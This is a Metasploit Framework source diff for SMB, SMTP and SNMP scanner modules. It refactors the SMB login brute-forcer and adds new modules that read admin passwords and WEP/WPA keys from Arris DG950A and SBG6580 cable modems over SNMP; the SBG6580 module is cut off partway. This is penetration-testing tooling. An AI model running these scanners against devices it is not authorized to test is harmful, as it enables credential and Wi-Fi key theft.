a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/login_scanner/smb' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -15,8 +17,6 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute - attr_reader :accepts_bogus_domains - def proto 'smb' end @@ -31,8 +31,10 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'tebo <tebo [at] attackresearch [dot] com>', # Original - 'Ben Campbell' # Refactoring + 'tebo <tebo[at]attackresearch.com>', # Original + 'Ben Campbell', # Refactoring + 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>', # admin check + 'Tom Sellers <tom[at]fadedcode.net>' # admin check/bug fix ], 'References' => [ @@ -48,29 +50,16 @@ class Metasploit3 < Msf::Auxiliary ) deregister_options('RHOST','USERNAME','PASSWORD') - @accepts_guest_logins = {} - - @correct_credentials_status_codes = [ - "STATUS_INVALID_LOGON_HOURS", - "STATUS_INVALID_WORKSTATION", - "STATUS_ACCOUNT_RESTRICTION", - "STATUS_ACCOUNT_EXPIRED", - "STATUS_ACCOUNT_DISABLED", - "STATUS_ACCOUNT_RESTRICTION", - "STATUS_PASSWORD_EXPIRED", - "STATUS_PASSWORD_MUST_CHANGE", - "STATUS_LOGON_TYPE_NOT_GRANTED" - ] - # These are normally advanced options, but for this module they have a # more active role, so make them regular options. register_options( [ + Opt::Proxies, OptString.new('SMBPass', [ false, "SMB Password" ]), OptString.new('SMBUser', [ false, "SMB Username" ]), - OptString.new('SMBDomain', [ false, "SMB Domain", '']), - OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true]), - OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false]) + OptString.new('SMBDomain', [ false, "SMB Domain", '' ]), + OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true ]), + OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false ]) ], self.class) end @@ -80,222 +69,145 @@ class Metasploit3 < Msf::Auxiliary domain = datastore['SMBDomain'] || "" - if accepts_bogus_logins?(domain) - print_error("#{smbhost} - This system accepts authentication with any credentials, brute force is ineffective.") - return - end + @scanner = Metasploit::Framework::LoginScanner::SMB.new( + host: ip, + port: rport, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5, + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + ) - unless datastore['RECORD_GUEST'] - if accepts_guest_logins?(domain) - print_status("#{ip} - This system allows guest sessions with any credentials, these instances will not be recorded.") + bogus_result = @scanner.attempt_bogus_login(domain) + if bogus_result.success? + if bogus_result.access_level == Metasploit::Framework::LoginScanner::SMB::AccessLevels::GUEST + print_status("#{ip} - This system allows guest sessions with any credentials") + else + print_error("#{ip} - This system accepts authentication with any credentials, brute force is ineffective.") + return end end - begin - each_user_pass do |user, pass| - result = try_user_pass(domain, user, pass) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['SMBPass'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['SMBUser'], + user_as_pass: datastore['USER_AS_PASS'], + realm: domain, + ) + + cred_collection = prepend_db_passwords(cred_collection) + cred_collection = prepend_db_hashes(cred_collection) + + @scanner.cred_details = cred_collection + + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}', #{result.proof}" + report_creds(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' #{result.access_level}" + report_creds(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', #{result.proof}" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: result.credential.realm, + status: result.status + ) end - rescue ::Rex::ConnectionError - nil end end - def check_login_status(domain, user, pass) - connect() - status_code = "" - begin - simple.login( - datastore['SMBName'], - user, - pass, - domain, - datastore['SMB::VerifySignature'], - datastore['NTLM::UseNTLMv2'], - datastore['NTLM::UseNTLM2_session'], - datastore['NTLM::SendLM'], - datastore['NTLM::UseLMKey'], - datastore['NTLM::SendNTLM'], - datastore['SMB::Native_OS'], - datastore['SMB::Native_LM'], - {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - ) - - # Windows SMB will return an error code during Session Setup, but nix Samba requires a Tree Connect: - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - status_code = 'STATUS_SUCCESS' - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - status_code = e.get_error(e.error_code) - rescue ::Rex::Proto::SMB::Exceptions::LoginError => e - status_code = e.error_reason - rescue ::Rex::Proto::SMB::Exceptions::InvalidWordCount => e - status_code = e.get_error(e.error_code) - rescue ::Rex::Proto::SMB::Exceptions::NoReply - ensure - disconnect() - end - - return status_code - end - - # If login is succesful and auth_user is unset - # the login was as a guest user. - def accepts_guest_logins?(domain) - guest = false - user = Rex::Text.rand_text_alpha(8) - pass = Rex::Text.rand_text_alpha(8) - - guest_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && simple.client.auth_user.nil?) - - if guest_login - @accepts_guest_logins['rhost'] ||=[] unless @accepts_guest_logins.include?(rhost) - report_note( - :host => rhost, - :proto => 'tcp', - :sname => 'smb', - :port => datastore['RPORT'], - :type => 'smb.account.info', - :data => 'accepts guest login from any account', - :update => :unique_data - ) - end - - return guest_login - end - - # If login is successul and auth_user is set - # then bogus creds are accepted. - def accepts_bogus_logins?(domain) - user = Rex::Text.rand_text_alpha(8) - pass = Rex::Text.rand_text_alpha(8) - bogus_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && !simple.client.auth_user.nil?) - return bogus_login - end # This logic is not universal ie a local account will not care about workgroup # but remote domain authentication will so check each instance - def accepts_bogus_domains?(user, pass, rhost) - domain = Rex::Text.rand_text_alpha(8) - status = check_login_status(domain, user, pass) - - bogus_domain = valid_credentials?(status) - if bogus_domain - vprint_status "Domain is ignored" - end - - return valid_credentials?(status) - end - - def valid_credentials?(status) - return (status == "STATUS_SUCCESS" || @correct_credentials_status_codes.include?(status)) - end - - def try_user_pass(domain, user, pass) - # Note that unless PRESERVE_DOMAINS is true, we're more - # than happy to pass illegal usernames that contain - # slashes. - if datastore["PRESERVE_DOMAINS"] - d,u = domain_username_split(user) - user = u - domain = d if d - end - - user = user.to_s.gsub(/<BLANK>/i,"") - status = check_login_status(domain, user, pass) - - # Match original output message - if domain.empty? || domain == "." - domain_part = "" - else - domain_part = " \\\\#{domain}" - end - output_message = "#{rhost}:#{rport}#{domain_part} - ".gsub('%', '%%') - output_message << "%s" - output_message << " (#{smb_peer_os}) #{user} : #{pass} [#{status}]".gsub('%', '%%') - - case status - when 'STATUS_SUCCESS' - # Auth user indicates if the login was as a guest or not - if(simple.client.auth_user) - print_good(output_message % "SUCCESSFUL LOGIN") - validuser_case_sensitive?(domain, user, pass) - report_creds(domain,user,pass,true) - else - if datastore['RECORD_GUEST'] - print_status(output_message % "GUEST LOGIN") - report_creds(domain,user,pass,true) - elsif datastore['VERBOSE'] - print_status(output_message % "GUEST LOGIN") - end - end - - return :next_user - - when *@correct_credentials_status_codes - print_status(output_message % "FAILED LOGIN, VALID CREDENTIALS" ) - report_creds(domain,user,pass,false) - validuser_case_sensitive?(domain, user, pass) - return :skip_user - - when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED' - vprint_error(output_message % "FAILED LOGIN") - else - vprint_error(output_message % "FAILED LOGIN") - end - end - - def validuser_case_sensitive?(domain, user, pass) - if user == user.downcase - user = user.upcase - else - user = user.downcase - end - - status = check_login_status(domain, user, pass) - case_insensitive = valid_credentials?(status) - if case_insensitive - vprint_status("Username is case insensitive") - end - - return case_insensitive - end - - def note_creds(domain,user,pass,reason) - report_note( - :host => rhost, - :proto => 'tcp', - :sname => 'smb', - :port => datastore['RPORT'], - :type => 'smb.account.info', - :data => {:user => user, :pass => pass, :status => reason}, - :update => :unique_data + def accepts_bogus_domains?(user, pass) + bogus_domain = @scanner.attempt_login( + Metasploit::Framework::Credential.new( + public: user, + private: pass, + realm: Rex::Text.rand_text_alpha(8) + ) ) + + return bogus_domain.success? end - def report_creds(domain,user,pass,active) - login_name = "" - - if accepts_bogus_domains?(user,pass,rhost) - login_name = user - else - login_name = "#{domain}\\#{user}" + def report_creds(ip, port, result) + if !datastore['RECORD_GUEST'] + if result.access_level == Metasploit::Framework::LoginScanner::SMB::AccessLevels::GUEST + return + end end - report_hash = { - :host => rhost, - :port => datastore['RPORT'], - :sname => 'smb', - :user => login_name, - :pass => pass, - :source_type => "user_supplied", - :active => active + service_data = { + address: ip, + port: port, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id } - if pass =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ - report_hash.merge!({:type => 'smb_hash'}) - else - report_hash.merge!({:type => 'password'}) + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: ( + Rex::Proto::NTLM::Utils.is_pass_ntlm_hash?(result.credential.private) ? :ntlm_hash : :password + ), + username: result.credential.public, + }.merge(service_data) + + if domain.present? + if accepts_bogus_domains?(result.credential.public, result.credential.private) + print_brute(:level => :vstatus, :ip => ip, :msg => "Domain is ignored for user #{result.credential.public}") + else + credential_data.merge!( + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: result.credential.realm + ) + end end - report_auth_info(report_hash) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: result.access_level, + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) end end diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 99df43964d..20bf9ae419 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'SMB Local User Enumeration (LookupSid)', + 'Name' => 'SMB SID User Enumeration (LookupSid)', 'Description' => 'Determine what users exist via brute force SID lookups. This module can enumerate both local and domain accounts by setting ACTION to either LOCAL or DOMAIN', @@ -29,6 +29,8 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'DefaultOptions' => { + # Samba doesn't like this option, so we disable so we are compatible with + # both Windows and Samba for enumeration. 'DCERPC::fake_bind_multi' => false }, 'Actions' => @@ -49,6 +51,18 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RPORT', 'RHOST') end + # Constants used by this module + LSA_UUID = '12345778-1234-abcd-ef00-0123456789ab' + LSA_VERS = '0.0' + LSA_PIPES = %W{ LSARPC NETLOGON SAMR BROWSER SRVSVC } + + def rport + @rport || datastore['RPORT'] + end + + def smb_direct + @smbdirect || datastore['SMBDirect'] + end # Locate an available SMB PIPE for the specified service def smb_find_dcerpc_pipe(uuid, vers, pipes) @@ -128,24 +142,19 @@ class Metasploit3 < Msf::Auxiliary [ uinfo[3], name ] end - - @@lsa_uuid = '12345778-1234-abcd-ef00-0123456789ab' - @@lsa_vers = '0.0' - @@lsa_pipes = %W{ LSARPC NETLOGON SAMR BROWSER SRVSVC } - # Fingerprint a single host def run_host(ip) [[139, false], [445, true]].each do |info| - datastore['RPORT'] = info[0] - datastore['SMBDirect'] = info[1] + @rport = info[0] + @smbdirect = info[1] lsa_pipe = nil lsa_handle = nil begin # find the lsarpc pipe - lsa_pipe = smb_find_dcerpc_pipe(@@lsa_uuid, @@lsa_vers, @@lsa_pipes) + lsa_pipe = smb_find_dcerpc_pipe(LSA_UUID, LSA_VERS, LSA_PIPES) break if not lsa_pipe # OpenPolicy2() @@ -201,11 +210,9 @@ class Metasploit3 < Msf::Auxiliary resp = dcerpc.last_response ? dcerpc.last_response.stub_data : nil domain_sid, domain_name = smb_parse_sid(resp) - # Store SID, local domain name, joined domain name print_status("#{ip} PIPE(#{lsa_pipe}) LOCAL(#{host_name} - #{host_sid}) DOMAIN(#{domain_name} - #{domain_sid})") - domain = { :name => host_name, :txt_sid => host_sid, @@ -213,8 +220,17 @@ class Metasploit3 < Msf::Auxiliary :groups => {} } - target_sid = host_sid if action.name =~ /LOCAL/i - target_sid = domain_sid if action.name =~ /DOMAIN/i + target_sid = case action.name.upcase + when 'LOCAL' + host_sid + when 'DOMAIN' + # Fallthrough to the host SID if no domain SID was returned + unless domain_sid + print_error("#{ip} No domain SID identified, falling back to the local SID...") + end + domain_sid || host_sid + end + # Brute force through a common RID range 500.upto(datastore['MaxRID'].to_i) do |rid| @@ -263,16 +279,15 @@ class Metasploit3 < Msf::Auxiliary report_note( :host => ip, :proto => 'tcp', - :port => datastore['RPORT'], + :port => rport, :type => 'smb.domain.lookupsid', :data => domain ) print_status("#{ip} #{domain[:name].upcase} [#{domain[:users].keys.map{|k| domain[:users][k]}.join(", ")} ]") - - # cleanup disconnect return + rescue ::Timeout::Error rescue ::Interrupt raise $! diff --git a/modules/auxiliary/scanner/smb/smb_version.rb b/modules/auxiliary/scanner/smb/smb_version.rb index 5e44019df1..422ca47e6a 100644 --- a/modules/auxiliary/scanner/smb/smb_version.rb +++ b/modules/auxiliary/scanner/smb/smb_version.rb @@ -1,11 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - +require 'recog' class Metasploit3 < Msf::Auxiliary @@ -34,82 +34,120 @@ class Metasploit3 < Msf::Auxiliary ) deregister_options('RPORT') + deregister_options('SMBDIRECT') + @smb_port = 445 + end + + def rport + @smb_port || datastore['RPORT'] + end + + def smb_direct + (@smb_port == 445) end # Fingerprint a single host + # def run_host(ip) - [[445, true], [139, false]].each do |info| - - datastore['RPORT'] = info[0] - datastore['SMBDirect'] = info[1] - self.simple = nil + smb_ports = [445, 139] + smb_ports.each do |pnum| + @smb_port = pnum + self.simple = nil begin res = smb_fingerprint() - if(res['os'] and res['os'] != 'Unknown') + # + # Create the note hash for smb.fingerprint + # + conf = { + :native_os => res['native_os'], + :native_lm => res['native_lm'] + } - case res['os'] - when /Windows/ - os = OperatingSystems::WINDOWS - else - case res['sp'] - when /apple/ - os = OperatingSystems::MAC_OSX - res['os'] = 'Mac OS X' - when /ubuntu/ - os = OperatingSystems::LINUX - res['os'] = 'Ubuntu' - when /debian/ - os = OperatingSystems::LINUX - res['os'] = 'Debian' - else - os = OperatingSystems::UNKNOWN - end + if res['os'] and res['os'] != 'Unknown' + + # + # Create the note hash for fingerprint.match + # + match_conf = { } + + # + # Create a descriptive string for service.info + # + desc = res['os'].dup + + if res['edition'].to_s.length > 0 + desc << " #{res['edition']}" + conf[:os_edition] = res['edition'] + match_conf['os.edition'] = res['edition'] end - desc = "#{res['os']} #{res['sp']} (language: #{res['lang']})" - if(simple.client.default_name) + if res['sp'].to_s.length > 0 + desc << " #{res['sp'].downcase.gsub('service pack ', 'SP')}" + conf[:os_sp] = res['sp'] + match_conf['os.version'] = res['sp'] + end + + if res['build'].to_s.length > 0 + desc << " (build:#{res['build']})" + conf[:os_build] = res['build'] + match_conf['os.build'] = res['build'] + end + + if res['lang'].to_s.length > 0 and res['lang'] != 'Unknown' + desc << " (language:#{res['lang']})" + conf[:os_lang] = res['lang'] + match_conf['os.language'] = conf[:os_lang] + end + + if simple.client.default_name desc << " (name:#{simple.client.default_name})" + conf[:SMBName] = simple.client.default_name + match_conf['host.name'] = conf[:SMBName] end - if(simple.client.default_domain) + if simple.client.default_domain desc << " (domain:#{simple.client.default_domain})" + conf[:SMBDomain] = simple.client.default_domain + match_conf['host.domain'] = conf[:SMBDomain] end print_status("#{rhost}:#{rport} is running #{desc}") + # Report the service with a friendly banner report_service( :host => ip, - :port => info[0], + :port => rport, :proto => 'tcp', :name => 'smb', :info => desc ) - conf = { - :os_flavor => res['os'], - :os_name => os, - } - - conf[:os_sp] = res['sp'] if res['sp'] - conf[:os_lang] = res['lang'] if res['os'] =~ /Windows/ - conf[:SMBName] = simple.client.default_name if simple.client.default_name - conf[:SMBDomain] = simple.client.default_domain if simple.client.default_domain - + # Report a fingerprint.match hash for name, domain, and language + # Ignore OS fields, as those are handled via smb.fingerprint report_note( :host => ip, - :port => info[0], + :port => rport, :proto => 'tcp', - :ntype => 'smb.fingerprint', - :data => conf + :ntype => 'fingerprint.match', + :data => match_conf ) - else - report_service(:host => ip, :port => info[0], :name => 'smb') - print_status("#{rhost} could not be identified") + desc = "#{res['native_os']} (#{res['native_lm']})" + report_service(:host => ip, :port => rport, :name => 'smb', :info => desc) + print_status("#{rhost}:#{rport} could not be identified: #{desc}") end + # Report a smb.fingerprint hash of attributes for OS fingerprinting + report_note( + :host => ip, + :port => rport, + :proto => 'tcp', + :ntype => 'smb.fingerprint', + :data => conf + ) + disconnect break diff --git a/modules/auxiliary/scanner/smtp/smtp_enum.rb b/modules/auxiliary/scanner/smtp/smtp_enum.rb index 32b25218a4..115f935c72 100644 --- a/modules/auxiliary/scanner/smtp/smtp_enum.rb +++ b/modules/auxiliary/scanner/smtp/smtp_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -70,11 +70,11 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) users_found = {} - result = nil # temp for storing result of SMTP request - code = 0 # status code parsed from result - vrfy = true # if vrfy allowed - expn = true # if expn allowed - rcpt = true # if rcpt allowed and useful + result = nil # temp for storing result of SMTP request + code = 0 # status code parsed from result + vrfy = true # if vrfy allowed + expn = true # if expn allowed + rcpt = true # if rcpt allowed and useful usernames = extract_words(datastore['USER_FILE']) cmd = 'HELO' + " " + "localhost" + "\r\n" @@ -94,20 +94,20 @@ class Metasploit3 < Msf::Auxiliary end domain = result.split()[1] - domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello') + domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello') vprint_status("#{ip}:#{rport} Domain Name: #{domain}") result, code = smtp_send("VRFY root\r\n") vrfy = (code == 250) - users_found = do_enum('VRFY', usernames) if (vrfy) + users_found = do_enum('VRFY', usernames) if (vrfy) if(users_found.empty?) # VRFY failed, lets try EXPN result, code = smtp_send("EXPN root\r\n") expn = (code == 250) - users_found = do_enum('EXPN', usernames) if(expn) + users_found = do_enum('EXPN', usernames) if(expn) end if(users_found.empty?) diff --git a/modules/auxiliary/scanner/smtp/smtp_relay.rb b/modules/auxiliary/scanner/smtp/smtp_relay.rb index d83260f25e..e6dd07ca49 100644 --- a/modules/auxiliary/scanner/smtp/smtp_relay.rb +++ b/modules/auxiliary/scanner/smtp/smtp_relay.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smtp/smtp_version.rb b/modules/auxiliary/scanner/smtp/smtp_version.rb index 3eb8bebc58..54069a0dfb 100644 --- a/modules/auxiliary/scanner/smtp/smtp_version.rb +++ b/modules/auxiliary/scanner/smtp/smtp_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/aix_version.rb b/modules/auxiliary/scanner/snmp/aix_version.rb index 630b13f485..99d8353ee0 100644 --- a/modules/auxiliary/scanner/snmp/aix_version.rb +++ b/modules/auxiliary/scanner/snmp/aix_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/arris_dg950.rb b/modules/auxiliary/scanner/snmp/arris_dg950.rb new file mode 100644 index 0000000000..a9661a68a4 --- /dev/null +++ b/modules/auxiliary/scanner/snmp/arris_dg950.rb @@ -0,0 +1,144 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::SNMPClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Arris DG950A Cable Modem Wifi Enumeration', + 'Description' => %q{ + This module will extract WEP keys and WPA preshared keys from + Arris DG950A cable modems. + }, + 'References' => + [ + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863'] + ], + 'Author' => ['Deral "Percent_X" Heiland'], + 'License' => MSF_LICENSE + ) + end + + def run_host(ip) + snmp = connect_snmp + + if snmp.get_value('sysDescr.0') =~ /DG950A/ + print_line("#{ip}") + + # System Admin Password + wifi_info = '' + password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') + print_line("Password: #{password}") + wifi_info << "Password: #{password}" << "\n" + else + fail_with("Does not appear to be an Arris DG950A") + end + + # check WPA Encryption Algorithm + encrypt_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1.12') + case encrypt_type + when 1 + wpa_encrypt = "TKIP" + when 2 + wpa_encrypt = "AES" + when 3 + wpa_encrypt = "TKIP/AES" + else + wpa_encrypt = "Unknown" + end + + # Wifi Status + wifi_status = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12') + if wifi_status == '1' + ssid = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2.12') + print_line("SSID: #{ssid}") + wifi_info << "SSID: #{ssid}" << "\n" + + # Wifi Security Settings + wifi_version = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5.12') + if wifi_version == '0' + print_line('Open Access Wifi is Enabled') + wifi_info << 'Open Access WIFI is Enabled' << '\n' + + # Wep enabled + elsif wifi_version == '1' + wep_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2.12') + case wep_type + when 1 + oid = "1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12" + when 2 + oid = "1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12" + else + print_line('FAILED') + end + wepkey1 = snmp.get_value("#{oid}.1") + key1 = "#{wepkey1}" + print_line("WEP KEY1: #{key1}") + wifi_info << "WEP KEY1: #{key1}" << "\n" + wepkey2 = snmp.get_value("#{oid}.2") + key2 = "#{wepkey2}" + print_line("WEP KEY2: #{key2}") + wifi_info << "WEP KEY2: #{key2}" << "\n" + wepkey3 = snmp.get_value("#{oid}.3") + key3 = "#{wepkey3}" + print_line("WEP KEY3: #{key3}") + wifi_info << "WEP KEY3: #{key3}" << "\n" + wepkey4 = snmp.get_value("#{oid}.4") + key4 = "#{wepkey4}" + print_line("WEP KEY4: #{key4}") + wifi_info << "WEP KEY4: #{key4}" << "\n" + + # WPA enabled + elsif wifi_version == '2' + wpapsk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12') + print_line("WPA PSK: #{wpapsk}") + print_line("WPA Encryption: #{wpa_encrypt}") + wifi_info << "WPA PSK: #{wpapsk}" << "\n" + wifi_info << "WPA Encryption #{wpa_encrypt}" << "\n" + + # WPA2 enabled + elsif wifi_version == '3' + wpapsk2 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12') + print_line("WPA2 PSK: #{wpapsk2}") + print_line("WPA2 Encryption: #{wpa_encrypt}") + wifi_info << "WPA2 PSK: #{wpapsk2}" << "\n" + wifi_info << "WPA2 Encryption: #{wpa_encrypt}" << "\n" + + # WPA/WPA2 enabled + elsif wifi_version == '7' + wpawpa2psk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12') + print_line("WPA/WPA2 PSK: #{wpawpa2psk}") + print_line("WPA/WPA2 Encryption: #{wpa_encrypt}") + wifi_info << "WPA/WPA2 PSK: #{wpawpa2psk}" << "\n" + wifi_info << "WPA/WPA2 Encryption: #{wpa_encrypt}" << "\n" + + else + print_line('FAILED') + end + else + print_line('WIFI is not enabled') + end + + # Woot we got loot. + loot_name = 'arris_wifi' + loot_type = 'text/plain' + loot_filename = 'arris_wifi.text' + loot_desc = 'Arris DG950A Wifi configuration data' + p = store_loot(loot_name, loot_type, datastore['RHOST'], wifi_info, loot_filename, loot_desc) + print_status("WIFI Data saved in: #{p}") + # No need to make noise + rescue ::SNMP::UnsupportedVersion + rescue ::SNMP::RequestTimeout + raise $ERROR_INFO + rescue ::Exception => e + print_error("#{ip} error: #{e.class} #{e.message}") + disconnect_snmp + end +end diff --git a/modules/auxiliary/scanner/snmp/brocade_enumhash.rb b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb index 92bca9cb55..f78cc130b9 100644 --- a/modules/auxiliary/scanner/snmp/brocade_enumhash.rb +++ b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb @@ -1,5 +1,5 @@ # -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb index f684266d94..6f4172e35d 100644 --- a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb +++ b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb index 3efd1988d1..bad6580176 100644 --- a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb +++ b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/netopia_enum.rb b/modules/auxiliary/scanner/snmp/netopia_enum.rb index 07a4840766..0b39d2a13d 100644 --- a/modules/auxiliary/scanner/snmp/netopia_enum.rb +++ b/modules/auxiliary/scanner/snmp/netopia_enum.rb @@ -1,5 +1,5 @@ # -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb new file mode 100644 index 0000000000..904d5e8b0f --- /dev/null +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -0,0 +1,315 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::SNMPClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module', + 'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola + SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username + and password for the device user interface as well as wireless network keys + and information. + The default community used is "public".', + 'References' => + [ + [ 'URL', 'http://seclists.org/fulldisclosure/2014/May/79' ], + [ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ], + [ 'OSVDB', '110555' ] + ], + 'Author' => 'Matthew Kienow <mkienow[at]inokii.com>', + 'License' => MSF_LICENSE + )) + + # change SNMP version option to match device specification + register_options( + [ + OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ]) + ], self.class) + end + + def run_host(ip) + + begin + snmp = connect_snmp + + # represents the order of the output data fields + fields_order = [ + "Host IP", "Username", "Password", "SSID", "802.11 Band", + "Network Authentication Mode", "WEP Passphrase", "WEP Encryption", + "WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4", + "Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)", + "RADIUS Server", "RADIUS Port", "RADIUS Key" + ] + + output_data 